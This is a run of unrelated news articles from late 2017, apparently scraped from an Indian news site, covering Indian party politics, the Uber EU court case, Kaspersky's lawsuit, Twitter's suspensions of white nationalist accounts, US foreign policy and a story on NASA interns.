Tony didnt mean it, but it did the trick of detoxifying the Labour image for several sections of the electorate and Labour swept to power in 1997.

Does the Congress Party, after its defeat in Gujarat and Himachal Pradesh need to learn any lessons from Blairs renewal of Labours fortunes after being in opposition for 18 years?

It is impossible here to outline the vast differences between the UKs democratic practices and allegiances and those of India. Britain may have a vague parallel of class vote-banks to Indias religious and caste ones. There may even be a vague parallel between the xenophobia of sections of the UK against immigrants and the religiously divisive nature of Hindutva; but the way the universal franchise of each country works is very different.

So in posing the question whether the Congress could do with a Blairite make-over, we may first ask will changing the name of the Party renew its fortunes? Congress increased its vote share in Gujarat through the disillusion of sections of the population with the BJPs rule. The higher percentage of the vote wasnt an endorsement of a new or clear direction initiated by the Congress. It could even be said that the avatar of a Hindu devotee visiting temples which Rahul Gandhi attempted was a bit ridiculous.

Indian political parties change their names not when they want to modernise, but when they suffer splits. So we get Congress (I) which didnt stand for Congress Invigorated but for Congress (Indira). It should be evident that changing the name from Congress to Congress (R) will not alter the fortunes of the party if the R stands for Rahul rather than Renewal or Reconstruction.

Can Rahul Gandhi and his advisors find an equivalent to Clause 4 and abolish it? In all the elections in which the BJP have defeated the Congress, their leaders have mocked the old party for being a family affair. Narendra Modi, even before and during this Gujarat election, posed the question of rule by the Nehru-Gandhi dynasty.

A democracy shouldnt turn into a hereditary monarchy, even though the US example with the Bushes and the Clintons and the example of the Bhuttos of Pakistan, the families in Bangladesh and indeed some African countries, seem to indicate that political parties even in democracies do embrace and promote the hereditary principle.

Has the BJP demonstrated that India doesnt need and may be democratically hampered by its adoption? Is it time that the Congress realised that the closest thing they have to Clause 4 is the family Raj? Does the Congress internal democracy need to abolish what seems to be an inheritance principle? I pose this as a question rather than a proposal as each time there is a significant leadership vacancy there are no challengers to Indira-Sanjay-Rajiv-Sonia and now Rahul. One cant imagine Rahul Gandhi, in emulating Tony Blairs abolition of Clause 4 to abolishing himself.

Perhaps the closest thing to Clause 4 that has shaken up Indian democracy was the adoption rather than the abolition of a direction. It wasnt an innovation by the Congress. It was the adoption by the BJP, under the influence of the RSS and other members of the coalescing groups, to adopt the idea of Hindutva as an electoral weapon.

Obviously Rahuls advisors sent him on a temple tour in order to impress upon the electorate that the Congress was also in favour of Hindutva. It did nothing of the sort. These advisors and strategists should have realised that Hindutva as a political policy is not about religion; its about history and the divisions it breeds.

The BJP will plausibly claim that Hindutva is the natural consequence of the history of Partition. PM Modi, bringing his personal appeal to the Gujarati electorate, certainly played this card when he implied that former PM Manmohan Singh had consulted with Pakistani politicians. It was an allegation which attempted to parallel in reverse the accusations in the US against Donald Trump whose election is even now being investigated for collusion with the Russian regime.

The PM is facing calls to substantiate his statement about Manmohan Singh. He can, and probably will, ignore them on the principle that alls fair in love and electoral campaigning.

There may be another parallel to the abolition of Clause 4, but a quick review of the Congress policies and profession throughout its existence would suggest that its championing of secularism is the only Clause 4-ish determination it could discard. That would be the greatest divisive tragedy Indian democracy could face.

The other alternative facing the Congress is the abolition of the pseudo-democratic internal mechanisms that crown successors but I suppose well have to wait for that till the next generation of the Nehru-Gandhi dynasty grows up or some saucy challenger with a Blairish flair has the upstart determination to challenge Rahul and persist in universal policies of fairness and material advance.

(The author is a well-known writer and political commentator. Views are personal.)
Ahmedabad: A firebrand Patidar leader with age on his side, Congress Paresh Dhanani is set to shoulder bigger responsibilities in the party and possibly, the Gujarat assembly.

While many stalwarts of the grand old party ending up on the loser list in the 2017 Gujarat Assembly Elections, the 41-year-old came out on top in his fight against BJPs Bavku Undhad in the Patidar dominated Amreli district of Saurashtra.

He defeated Undhad of the BJP by a margin of 12,029 votes, his third victory in a row. His campaign heavily featured the agrarian crisis faced by the cotton growers that dominate the constituency.

Over the past couple of years, Dhanani emerged as the most vociferous voice in the Congress party. Recently, he sat on a dharna outside the Vidhan Sabha after being suspended by the speaker for being unruly in the assembly. His suspension was revoked and he was allowed into the house later.

Most importantly, though, Dhanani enjoys the goodwill of Congress president Rahul Gandhi and had accompanied him on several election rallies.

He also checks the two boxes of caste calculation and farmer support that Congress needs to consolidate the support base it has cultivated in Saurashtra during this election.

The partys strong performance in the region - Congress won 30 seats and BJP 23- has been attributed as much, or even more, to farmer distress, as to Patidar support.

Saurashtra is the biggest grower of cotton and groundnut. The non-remunerative produce and the inadequate procurement process irked the farmers and they wiped out the BJP from three out of 11 districts.

With senior Congress leaders  Shaktisinh Gohil, Arjun Modhwadia, Siddharth Patel, Tushar Chaudhary among others  losing the Gujarat assembly elections, young leaders like Dhanani, Alpesh Thakor and Jignesh Mevani will definitely get bigger roles to play in the opposition.
Chennai: The campaigning for the RK Nagar constituency by-election in Tamil Nadu came to an end on Tuesday, the voting will take place on December 21.

While RK Nagar is just one of 234 constituencies in the state of Tamil Nadu, it has piqued the countrys interest.

The reason for this is because the bypoll has turned into a prestige battle of sorts and whoever wins it will decide what shape the political landscape of the state takes.

In 2015, the sitting MLA resigned to make way for former chief minister of Tamil Nadu J Jayalalithaa to contest from the seat after she was acquitted in a disproportionate assets case. She won the bypoll and in 2016, she contested from the same constituency for the Assembly elections.

However, Jayalalithaa died in December 2016 and the seat fell vacant. What followed was political drama and the state saw pitched battles between rival factions of AIADMK.

It started with VK Sasikala being elevated as the interim general secretary of AIADMK, clearing the decks for her to become chief minister of the state. The interim chief minister, O Panneerselvam, threw the spanner in the works by rebelling against Sasikala and her family. Trouble mounted for Sasikala after she was convicted in the disproportionate assets case in which she was co-accused with Jayalalithaa.

Just before she went to prison in Bengaluru, she made Edappadi K Palaniswami Chief Minister and made her nephew, TTV Dinakaran, the deputy general secretary of AIADMK. So, it became a fight between O Panneerselvam and the EPS- Dinakaran combine.

When the Election Commission announced that RK Nagar bypoll in April, things came to a head. The bypoll was seen as a referendum for a Jayalalithaa-less AIADMK government and winning it became a question of prestige and legacy. Both warring factions of the party laid claim to AIADMKs name and its two leaves electoral symbol. However, the EC refused both. The bypoll then turned into a three-way contest between the two factions and the DMK.

The bypoll was, however, postponed by the EC after large amounts of cash meant for bribing voters was seized, throwing the veracity of the result in question. In the meantime, things got complicated for the Sasikala faction in April when Dinakaran was arrested and jailed for allegedly trying to bribe an EC official for the two leaves symbol.

The situation forced OPS and EPS to come to the negotiating table with the future of the AIADMK at stake. The ruling faction gave in to the OPS factions demand to sideline Dinakaran and they merged, getting the name and two leaves symbol back in the process.

The drama did not end there. Dinakaran then raised the standard of rebellion and formed a new faction. Meanwhile, Jayalalithaas niece Deepa Jayakumar is also trying claim her legacy and announced she will contest the seat. Actor Vishal also announced that he would contest. The move assumes significance considering the long history of film personalities and electoral politics in Tamil Nadu.

There was last-minute controversy as well when Vishals nomination papers were first rejected, then accepted, before being finally rejected again. Even Jayakumars papers were rejected. All this has ensured that the bypoll generated interest and curiosity nationally.

Talking about why there is so much interest around the bypoll, RK Radhakrishnan, Associate Editor, Frontline, said: "The first reason was that there was some awareness about the constituency. Jayalalithaa made an MLA resign after she was acquitted in the DA case. After her death, when the EC could not hold the election because huge amounts of cash to the tune of Rs 90 crores were seized from the constituency, it shocked the country.

EC took unprecedented steps to try and make sure that election is held in a free and fair manner, bringing in unprecedented numbers of general forces and officers of central deputation. Even more bizarre this time was when actor Vishal, who is also popular, came into the frayin the manner in which his nomination was rejected is again a historic low in the conduct of Indian elections. It proved that only established parties can contest elections, he added.

The interest is also because election was held within the stipulated time after a serving MLA passed away. The nature, the manner in which the Election Commission went about doing its job, parties distributing cash all these ended up garnering attention," Radhakrishnan said.

As famous as it can get, RK Nagar will go to polls on December 21. All eyes on December 24 to know who will win this time.
New Delhi: After taking charge of the Congress party, Rahul Gandhi may soon assume leadership of the Congress Parliamentary Party and the United Progressive Alliance.

Highly placed sources in the party told News18 that the newly elected Congress President shall have to assume CPP leadership as it is mandated in its Constitution.

Soniaji has anyway stopped addressing the last few CPP meetings. This rule that party chief will be the CPP president too was framed after Indira Gandhi became party president, a party member said on the condition of anonymity.

The further elevation would mean that Rahul, as UPA chairperson, would now have to deal with allies directly.

So far, Sonia was the one who stitched the alliances and dealt with regional satraps. The old guards within Congress, as well as UPA, were more comfortable in dealing with Sonia than team Rahul. Some like Mamata Banerjee, Lalu Yadav, and Sitaram Yechury have made no bones about it.

The challenge for Rahul, if he were to build a non-NDA alliance, would be to reach out to these senior allies.

The first test case would be Sharad Pawars NCP. The UPA ally had parted ways with the Congress in Maharashatra and also decided to go solo in Gujarat. Rahuls close aides say the Congress president was angry with the NCP for betraying Ahmed Patel during the Rajya Sabha polls in August.

In Gujarat, Rahul chose his allies carefully, keeping in mind the caste combinations. Jignesh Mevani, Alpesh Thakor and Hardik Patel were wooed for the OBC-Patidar-Dalit votes. It worked to a certain extent. But it also threw up challenges and questions. What about other states, like, say, Tamil Nadu? Will Congress align with MK Stalins DMK?

A break-up of the Gujarat election result throws up another serious concern for the Congress. While it did well in rural areas, it lost out in urban areas.

In a state like Karnataka, where Congress hopes to retain power, the urban vote share is increasing. Cities are becoming bigger, and more areas are getting urbanised. Gujarat poll results show Rahul needs to maintain a fine balance in his strategy and would have to reach out to the youth and upper middle class category as well.

As a senior leader said, The jholaa style of politics wont help. Modi has mastered this art and Rahul needs to, too.

The immediate challenge for Rahul post Gujarat would be to keep the aggression going. The cadre may be enthused that they can take on Narendra Modi on his home turf but could also turn their back on Rahul should the congress fail to win in upcoming state elections next year. The battle has begun for the new president.
A debate in Europe over whether ride-hailing app Uber is merely a digital company or one providing transport services will be decided when the top European Union court hands down its verdict on Wednesday in a highly anticipated case. While a ruling that Uber is a transport company is unlikely immediately to change the way it operates, it will give local authorities in the EU a green light to regulate the U.S. start-up more like a traditional taxi company, with obligations ranging from licensing to insurance.

Uber - which has clashed with local and national regulators in Europe since its launch there six years ago - says it is simply a digital app which acts as an intermediary between drivers and customers looking for a ride. Judges at the Luxembourg-based court will decide on Wednesday whether Uber - the world's second most valuable private venture-backed company - provides transport services, online services or a combination of both.

EU law protects online services from undue restrictions and national governments must notify the European Commission of any measures regulating them so it can ensure they are not discriminatory or disproportionate. Transport services, on the other hand, are regulated at the national and local level and there is no prior EU oversight of new rules. "Any ruling will not change things in most EU countries where we already operate under transportation law," a spokeswoman for Uber said.

"As our new CEO (Dara Khosrowshahi) has said, it is appropriate to regulate services such as Uber. We want to partner with cities to ensure everyone can get a reliable ride at the tap of a button. In May, an adviser to the Court of Justice of the ECJ said Uber should be considered a transport provider on the grounds it does much more than link supply and demand. Although his opinion is non-binding, the judges usually follow such advice.

The case stems from a complaint of unfair competition brought by a Barcelona taxi association against Uber's unlicensed ride-hailing service, UberPOP, which used amateur drivers to pick up riders and has since been suspended in most European cities.

CHANGE OF FOCUS

Following protests from taxi drivers and multiple court fights, Uber has drastically cut back its use of unlicensed drivers in the EU and focused instead on its licensed services, such as UberX and UberBLACK. Uber has suffered a torrid last few months. In September, London stripped it of its operating licence - a decision Uber is appealing against. It lost a bid last month to overturn a British tribunal's finding that its drivers deserved workers' rights such as the minimum wage. Soon afterwards, it disclosed it paid hackers $100,000 to keep secret a massive breach last year that exposed personal data from around 57 million accounts.

Khosrowshahi, who took the helm at Uber in August after the departure of founder Travis Kalanick following a slew of scandals, has taken a much more conciliatory approach with local authorities. The company has, for example, paused its services in Finland and Norway so that it can re-launch under new transport regulations. It now only operates unlicensed services in Poland, the Czech Republic, Slovakia and Romania, although in the first two Uber is switching its drivers to operate under local transportation law.

The Computer & Communications Industry Association (CCIA), of which Uber is a member, said the ruling will "decide over the ability of the EU to ensure online services are not unduly restricted by member states. "The judgment will either promote the digital single market or lead to more market fragmentation for online innovators," said Jakob Kucharczyk, vice president for competition and EU regulatory policy at the lobby group.

Honor View 10 | First Impressions Review
Moscow-based anti-virus company Kaspersky Lab sued the Trump administration in U.S. federal court on Monday, arguing that the American government has deprived it of due process rights by banning its software from U.S. government agencies. The lawsuit is the latest effort by Kaspersky Lab to push back on allegations that the company is vulnerable to Kremlin influence.

The Department of Homeland Security in September issued a directive to U.S. civilian agencies ordering them to remove Kaspersky Lab from their computer networks within 90 days. The order came amid mounting concern among U.S. officials that the software could enable Russian espionage and threaten national security. The ban was codified last week when President Donald Trump signed legislation banning Kaspersky Lab from use across civilian and military agencies.

Kaspersky Lab has repeatedly denied it has ties to any government and said it would not help a government with cyber espionage. "DHS has harmed Kaspersky Labs reputation and its commercial operations without any evidence of wrongdoing by the company," the company's founder, Eugene Kaspersky, said in an open letter to the agency published on Monday.

In an attempt to address suspicions, the company said in October it would submit the source code of its software and future updates for inspection by independent parties. U.S. officials have said that step, while welcome, would not be sufficient. The Department of Homeland Security did not immediately respond to a request for comment.

The lawsuit was filed in the U.S. District Court for the District of Columbia.

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Chinese smartphone major Xiaomi today said sales from the mainstay online channel will further decline to about 70 percent going ahead, as it boosts offline presence in India. Nearly 80 percent of the company's sales still come from the online route, but the share has come down from about 95 percent in less than a year.

The share of online sales will reduce to 70 percent in the near future, Xiaomi India head, Online Sales, Raghu Reddy said. Xiaomi has turned aggressive in the offline space in the last one year, having the presence in 15 cities with over 1,000 sales points mostly through franchisees. There are a total of 14 exclusive company-owned stores. The smartphone maker will enter more cities after consolidating its position in the existing ones, he said. Reddy added that the company has a market share of 50.8 percent in online smartphone sales in the Q3 period of 2017.

Watch: Tech and Auto Show | Ep 24 | Honor 7X, TVS Apache RR 310, Volvo XC60 & More
Twitter suspended the accounts of well-known white nationalists Monday, moving swiftly to enforce its new rules aimed at reducing what it deems abusive content. The account of far-right group Britain First, a small group that regularly posts inflammatory videos purporting to show Muslims engaged in acts of violence, was among the first to go dark. The individual accounts of two of its leaders, Jayda Fransen and Paul Golding, were also suspended.

President Donald Trump caused a stir last month when he retweeted a post by Fransen, drawing criticism from British Prime Minister Theresa May. Fransen and Golding were arrested in Belfast last week for allegedly stirring up hatred.Twitter said it would not comment on individual accounts. The company has emphasized that it takes into account many factors before making any enforcement decision, including context of the post, cultural and political considerations and the severity of the violation.

Twitters actions drew praise from civil rights groups. Jonathan Greenblatt, CEO of the Anti-Defamation League, commended Twitter for taking these significant steps to tackle hate on their platform. The group Muslim Advocates, which had publicly called for the removal of Britain Firsts account, applauded Twitter for updating its policies and taking steps today to remove violent and hateful accounts from its platform.

The guidelines announced a month ago and put into force this week, address hateful images or symbols, including those attached to user profiles. Monitors at the San Francisco company will weigh hateful imagery in the same way they do graphic violence and adult content. If a user wants to post symbols or images that might be considered hateful, the post must be marked sensitive media. Other users would then see a warning that would allow them to decide whether to view the post.

Twitter is also prohibiting users from abusing or threatening others through their profiles or usernames. The company also now bans accounts affiliated with organizations that use or promote violence against civilians to further their causes. The account for Jared Taylor, who heads the New Century Foundation, was among those suspended, along with his organizations flagship online publication, American Renaissance.

Taylor said he immediately appealed the suspension but swiftly received a reply from Twitter informing him that his account would not be restored, which he interpreted to mean he had been permanently banned.He said Twitter determined his account was affiliated with a violent extremist group, an allegation he denied. Of all the preposterous things they could have said about me or American Renaissance, I cant think of anything more preposterous, Taylor said.

New Century Foundation has been recognized as a charity by the IRS, a decision that has drawn criticism from civil rights advocates. Taylor has said his group raises money for the benefit of the white race. Brad Griffin, who blogs under the name Hunter Wallace on the website Occidental Dissent, said in blog post that he was also suspended, along with Michael Hill, president of the League of the South, the Traditionalist Workers Party and others. American Renaissance and Occidental Dissent both referred readers to an online chat site frequented by white nationalists.

The white nationalist Richard Spencer, whose account was not suspended, tweeted that he had lost more than a hundred followers in the past 24 hours and noted that he didnt see any systematic method to the #TwitterPurge. There appeared to be some inconsistencies. Twitter allowed David Duke to keep the message Its Ok To Be White as his header, even though the same phrase was hidden by the sensitive material warning on his pinned tweet.

Emma Llanso, director of the free expression project at the Center for Democracy and Technology, said the new guidelines represent a substantial change for Twitters policies. But, he added, its not going to be immediately clear to all users what falls within the new prohibitions. Its essential that they provide clarity to the users whose content is removed, said Llanso, whose nonprofit is a member of the Trust and Safety Council group of outside organizations advising Twitter.

While the new guidelines are now in play, the social media company continues to work out internal monitoring tools and it is revamping its appeals process for banned or suspended accounts. Users can now report profiles, or users, that they consider being in violation of Twitter policy. Previously, users could only report individual posts they deemed offensive.

While more content is banned, the company has provided more leeway for itself after it was criticized for strict rules that resulted in account suspensions. There was a backlash against Twitter after it suspending the account of actress Rose McGowan who opened a public campaign over sexual harassment and abuse, specifically naming Hollywood mogul Harvey Weinstein. Twitter eventually reinstated McGowans account and said that it had been suspended because of a tweet that violated its rules on privacy.

In our efforts to be more aggressive here, we may make some mistakes and are working on a robust appeals process, Twitter said in a blog post-Monday.

Honor View 10 | First Impressions Review
Ankara: Iran summoned the Swiss ambassador on Tuesday to condemn what it called an "irresponsible" claim by the U.S. Ambassador to the UN that Tehran supplied a missile fired at Saudi Arabia from Yemen on Nov. 4, Iran's Tasnim news agency reported.

The Swiss embassy represents US interests in Tehran, where Washington has had no mission since 1980, when Iranian students took 52 Americans hostage for 444 days.

"Iran's strong protest at (Nikki) Haley's baseless and provocative claim was conveyed to the Swiss ambassador," Foreign Ministry spokesman Bahram Qasemi was quoted as saying by Tasnim.

Haley on Thursday presented pieces of what she said were Iranian weapons supplied to the Iran-aligned Houthi militia in Yemen, describing it as conclusive evidence that Tehran was violating U.N. resolutions. Iran has denied the claim.

Under a U.N. resolution that enshrines a nuclear deal reached between Iran and world powers in 2015, Tehran is prohibited from supplying, selling or transferring weapons outside the country unless approved by the U.N. Security Council.

Washington acknowledged it could not say precisely when the weapons were transferred to the Houthis, and, in some cases, could not say when they were used.
Paris: French President Emmanuel Macron said on Tuesday that Bashar al-Assad was the enemy of millions of his own people and in no position to lecture France, after the Syrian leader accused Paris of supporting terrorism.

After a string of strong comments by French officials blaming Assad's government for atrocities and failed talks, Assad said on Monday France was supporting bloodshed in Syria, making it unfit to talk about peace settlements.

"France spearheaded support for terrorism and their hands are soaked in Syrian blood from the first days and we do not see they have changed their stance fundamentally," Assad was quoted in state media as saying.

"Those who support terrorism have no right to talk about peace, Assad added.

Despite being a leading backer of the Syrian opposition, France has sought a more pragmatic approach to the conflict since the arrival of Macron, saying that Assad's departure was not a pre-condition for talks to end the six-year war.

Speaking alongside NATO Secretary General Jens Stoltenberg, Macron hit back at Assad.

"I don't think Syria boils down to Bashar al-Assad," Macron said. "The Syrian people have an enemy. There are millions of Syrians outside of Syria and they have an enemy who is Bashar al-Assad. That's the reality."

"On the military front we have a priority which is war against Daesh (Islamic State) and that's why his (Assad's) statements are unacceptable because if there is someone that has fought and can defeat Daesh ... it is the international coalition."

France and other members of a U.S.-led coalition have launched air strikes against Islamic State targets.

Macron said on Monday he would push for peace talks involving all parties, including Assad, promising initiatives early next year, although it remains unclear how any French proposal would relate to existing United Nations' efforts.

He criticised separate Russian talks in Astana with Iran and Turkey meant to reduce violence and possibly pave the way to Syrian talks in Sochi next year. Those initiatives would fail, Macron said, because they did not include Assad's opponents and were an attempt to impose a solution on Syrians.

"I don't believe in a resolution of a conflict by external forces that want to impose a peace ... and I don't believe in indulging someone that thinks their country boils down to them."
ANCHORAGE, Alaska: The elder son of former Republican vice presidential nominee Sarah Palin has been charged with assault and burglary in a violent confrontation with his father in which the two men struggled over a handgun at his parents' Alaska home, court records showed on Monday.

According to the criminal complaint and supporting documents, Track Palin, 28, broke through a window of the house in Wasilla, Alaska, and scuffled with his father, Todd Palin, on Saturday night in a clash that stemmed from a family dispute over a truck.

The altercation left Todd Palin bloodied and former Alaska Governor Sarah Palin visibly shaken, police said in an affidavit filed with the charging documents in state court.

The incident marked the latest in a string of run-ins with the law by the politician's elder son, a U.S. Army Reserve veteran who served a 2008 tour of duty in Iraq.

Track Palin, who is now barred by court order from further contact with his parents and two younger siblings who live with them, remained jailed on Monday in lieu of $5,000 bail.

He was charged with a felony count of burglary with attempted injury and a misdemeanor assault count, according to court records.

The family's attorney, John Tiemessen, was not available for comment on Monday, but he issued a statement on Sunday asking that the Palins' privacy be respected. Court records do not list a defence attorney of record in the case.

It was Sarah Palin who called police to report that her elder son was assaulting his father and "freaking out and was on some type of medication," the police affidavit stated.

Todd Palin later recounted the conflict started when his son called to say he was coming to the house to get a truck, and the father objected, prompting the son to threaten that he was en route "anyway to beat his ass," the affidavit said.

The father armed himself with a pistol as he waited for his son to arrive, but ultimately, the affidavit said, "Todd decided he was not going to shoot his son" and was disarmed by the younger Palin as the two struggled.

Track Palin told police after his arrest, according to the affidavit, that his father had pointed the gun at him, and that the son goaded his father to shoot him. It said he admitted to drinking a few beers earlier that night.

Sarah Palin, who was Republican Senator John McCain's vice presidential running mate in his failed 2008 White House bid, has cited her son's past legal woes in publicly questioning the adequacy of support for military veterans who may suffer from post-traumatic stress disorder.

In 2016, her son faced several charges related to domestic violence, including using a weapon while intoxicated, court records show. The case was resolved in a special veterans' court with a conviction on a misconduct charge.

His involvement in a booze-fueled brawl at a family gathering in 2014 also drew wide attention. Authorities did not file criminal charges in the incident.
New York: Unveiling his "America First National Strategy," US President Donald Trump said on Monday that Washington will support a "leadership role" for India in the "broader" Indo-Pacific region.

Trump's all-encompassing strategy plan looks for allies to face what he sees as "an extraordinarily dangerous world, filled with a wide range of threats".

Against this scenario, he declared: "We will deepen our strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region."

Turning to Islamabad, Trump said, "We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials. The United States will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets."

A significant part of his strategic document that he was scheduled to present in Washington was devoted to threats from China which he framed as "a geopolitical competition between free and repressive visions of world order is taking place in the Indo-Pacific region".

"China is using economic inducements and penalties, influence operations, and implied military threats to persuade other states to heed its political and security agenda," he said.

In this theatre, he said: "We welcome India's emergence as a leading global power and stronger strategic and defense partner. We will seek to increase quadrilateral cooperation with Japan, Australia, and India."

While Trump has set out an American strategy along these lines in recent months, these declarations of India's role and ties with it were reiterated in a global context with his strategic plan.
Washington: US President Donald Trump has asked Pakistan to take "decisive action" against terrorist groups operating from its soil, as he unveiled America's new National Security Strategy (NSS).

Mandated by the Congress, Trump released his first National Security Strategy, according to which the US seeks a Pakistan, that is not engaged in destabilising behaviour and a stable and self-reliant Afghanistan.

"We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help," Trump said in his remarks as he announced his NSS.

Pakistan has received more than USD 33 billion from US since the 9/11 terror attacks.

"We will press Pakistan to intensify its counterterrorism efforts since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, the NSS said.

The US will continue to partner with Afghanistan to promote peace and security in the region, it said.

"We will continue to promote anti-corruption reform in Afghanistan to increase the legitimacy of its government and reduce the appeal of violent extremist organisations," it added.

The NSS links its efforts to build trade and investment ties with Pakistan with improvement in security.

"We will press Pakistan to intensify its counterterrorism efforts since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials," it said.

Observing that the US continues to face threats from transnational terrorists and militants operating from within Pakistan, the NSS said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention.

The Trump Administration has been talking tough with Pakistan after it came to power but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive actions against terrorist groups.

On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba.

"If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistan s global reputation," the White House Press Secretary Sarah Sanders had said.

In his South Asia speech on August 21, Trump became the first US president to publicly point out for its support to terrorist outfits and leaders.

"For its part, Pakistan often gives safe haven to agents of chaos, violence, and terror," he said and asked Pakistan to "demonstrate" its commitment to civilisation, order, and to peace.

US, Trump then said, can no longer be silent about Pakistan's safe havens for terrorist organisations, the Taliban, and other groups that pose a threat to the region and beyond.

Since then top US leadership including the Defense Secretary Jim Mattis and the Secretary of State Rex Tillerson have visited Pakistan to press the latter.

Mattis has refused to give necessary certification to Pakistan that it is taking action against Haqqani network, as a result of which blocking several hundred million coalition support funds to Islamabad.

However, in the last few weeks, top Pakistani diplomats based in the US have gone on a diplomatic overdrive to sell its narrative and have accused the Trump Administration of Indian agenda in South Asia.

During their series of public appearances at various think tanks in Washington Dc and New York, the Pakistani Ambassador to the US, Aizaz Ahmad Chaudhry, and its Permanent Representative to the United Nations Maleeha Lodhi have said the pronouncement of the Trump administration "which simply puts the blame" on Pakistan and asks India to "do more" in Afghanistan is "disconcerting" for Pakistan.

Both the diplomats insisted that there is crises of governance in US and the White House "being under siege" are affecting ties with South Asia.

Foreign Policy establishment is understaffed, they observed.
United Nations: The United States on Monday vetoed a draft UN resolution rejecting President Donald Trump's decision to recognize Jerusalem as Israel's capital, after all 14 other Security Council members backed the measure.

The veto cast by US Ambassador Nikki Haley highlighted Washington's isolation over Trump's announcement that the US embassy will be moved from Tel Aviv to Jerusalem, effectively ignoring Palestinian claims on the city.

Soon after the clash at the top UN body, the White House announced that US Vice President Mike Pence was delaying a trip to the Middle East planned for this week.

Trump's December 6 decision to recognize Jerusalem as the Israeli capital broke with international consensus, triggering protests across the Muslim world and drawing strong condemnation.

Key US allies Britain, France, Italy, Japan and Ukraine were among the 14 countries in the 15-member council that voted in favor of the measure put forward by Egypt.

The draft resolution reaffirmed that Jerusalem is an issue "to be resolved through negotiations" and that any decisions on the status of Jerusalem "have no legal effect, are null and void and must be rescinded."

"The United States will not be told by any country where we can put our embassy," Haley told the council after the veto.

"What we witnessed here today in the Security Council is an insult. It won't be forgotten," she said, describing the measure as "one more example of the United Nations doing more harm than good in addressing the Israeli-Palestinian conflict."

To win the 14 votes, the text was watered down with no condemnation and no specific mention of Trump's move. Instead, it expressed "deep regret at recent decisions concerning the status of Jerusalem."

Resolutions presented to the council require nine votes for adoption, but the United States -- along with Britain, China, France and Russia -- have the power to veto any measure.

Pence visit scrapped

Israeli Prime Minister Benjamin Netanyahu immediately thanked Haley, posting on Twitter: "Truth defeated lies. Thank you, President Trump. Thank you, Nikki Haley."

The Palestinians slammed the veto as "unacceptable" and vowed to turn to the UN General Assembly to win adoption for the resolution that was blocked at the council. No country has veto powers in the 193-nation assembly.

"Regrettably one state decided to oppose the whole world and to stand against the whole world with regard to this long-standing issue," Palestinian ambassador Riyad Mansour told the council.

"The United States chooses to disregard international law and ignore the international consensus."

Pence's trip to Egypt and Israel was pushed back to mid-January to allow the US vice president to remain in Washington during a vote on Trump's tax bill, a White House official said.

Palestinian president Mahmud Abbas had already scrapped a meeting with Pence and his Fatah faction had called for mass protests during the visit which had been initially been scheduled for Wednesday.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees all of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

The draft resolution had included a call on all countries to refrain from opening embassies in Jerusalem, reflecting concerns that other governments could follow the US lead.

Going back a 'century'

Washington's closest allies, France and Britain, came out ahead of the vote to declare their backing for the measure, which they stressed was in line with positions enshrined in UN resolutions adopted over several decades.

Several UN resolutions call on Israel to withdraw from territory seized during the 1967 war.

The status of the city must be decided through negotiations and "not by the unilateral decision of a third country that would bring us back a century," said French Ambassador Francois Delattre.

The US veto came nearly a year after the previous US administration abstained in a council vote condemning Israeli settlements, allowing that measure to pass.

Haley, who used her veto power for the first time as US ambassador, stressed that the United States still supports a two-state solution "if that's what the parties agree to."

The Palestinian envoy led a group of Arab ambassadors in a meeting with Miroslav Lajcak, the president of the General Assembly, to schedule a vote on the draft resolution, probably on Thursday.

Resolutions by the General Assembly are non-binding, but a strong vote in support of the resolution would carry political weight.
Last year, Liberty University senior Matthew Russell sat down at the computer and Googled How to get an internship at NASA.

Months later, that Google search was a reality. Out of 13,509 applicants, Russell, along with Liberty University junior Madison Melton, became two of the 1,966 students nationwide to land an internship, according to NASA Public Affairs Officer Katherine Brown.

Russell started work at the Johnson Space Center in Houston this past summer, while a paperwork snafu meant Melton didnt start at the Kennedy Space Center in Titusville, Florida, until the fall. Though they worked on vastly different projects and had completely different experiences, the students had one thing in common: They got to meet astronauts.

I think Ive met a total of three, Melton said in a phone interview, since shes still finishing up her internship in Florida. She called the experience humbling.

Youre like, Oh my gosh, youre so cool. Youve been into space! she said. And then theyll tell you all about their mission and theyre always in their blue astronaut suit. That was really cool. They have a lot of astronauts that come around here. Its not very odd.

Russell got to meet Elena Ochoa, a former astronaut who directs the Johnson Space Center. He also met some of the Apollo-era flight commanders. He and a group of other Christian interns who were living together in Houston even had a Christian astronaut come speak to them as well.

It was a really neat opportunity, he said in an interview in the Jerry Falwell Library earlier this month.

***

Russell was in Houston working on a project for the Orion program, which aims to get Americans back to the moon and ultimately Mars. Its in its early stages now, with the first manned flight to orbit the moon planned for 2021, he said.

The particular part that we were working on was the flight management code, Russell explained.

That code controls when different things happen inside the spacecraft. Russell actually worked to strip down the code into a simpler version that could be used for an important test on the computers that would eventually go into the space craft.

They needed to shake up the computers, literally, he said.

To make sure the computers could withstand the stress they would experience, they underwent vibration testing. As the computer was vibrated, Russell monitored the inputs and outputs of his software. If they matched, the computer was still functioning correctly.

It did survive all the tests, he said.

Russell said it was exciting to have a part, even a small one, in sending Americans back to the moon, and he appreciated that he was doing something hands-on and real, instead of the busy work or coffee runs that sometimes come with internships at large organizations.

Brown said thats by design.

She described the NASA internships as educational opportunities in an email. Ultimately, she wrote, they create the nations next generation workforce needed to enable future NASA discoveries.

Also exciting for Russell were the ways he found a home away from home in Houston. Because there are so many interns at the Johnson Space Center  about 200, by Russells count  it was easy for him to find housing with other interns, and specifically fellow Christians.

Every Tuesday night, we had Bible study, which is really important to me and really encouraging to see not just a community of NASA engineers that are really good at what they do and really enjoy that, but at the same time theyre also Christians and theyre also seeking to understand how that affects their work as well.

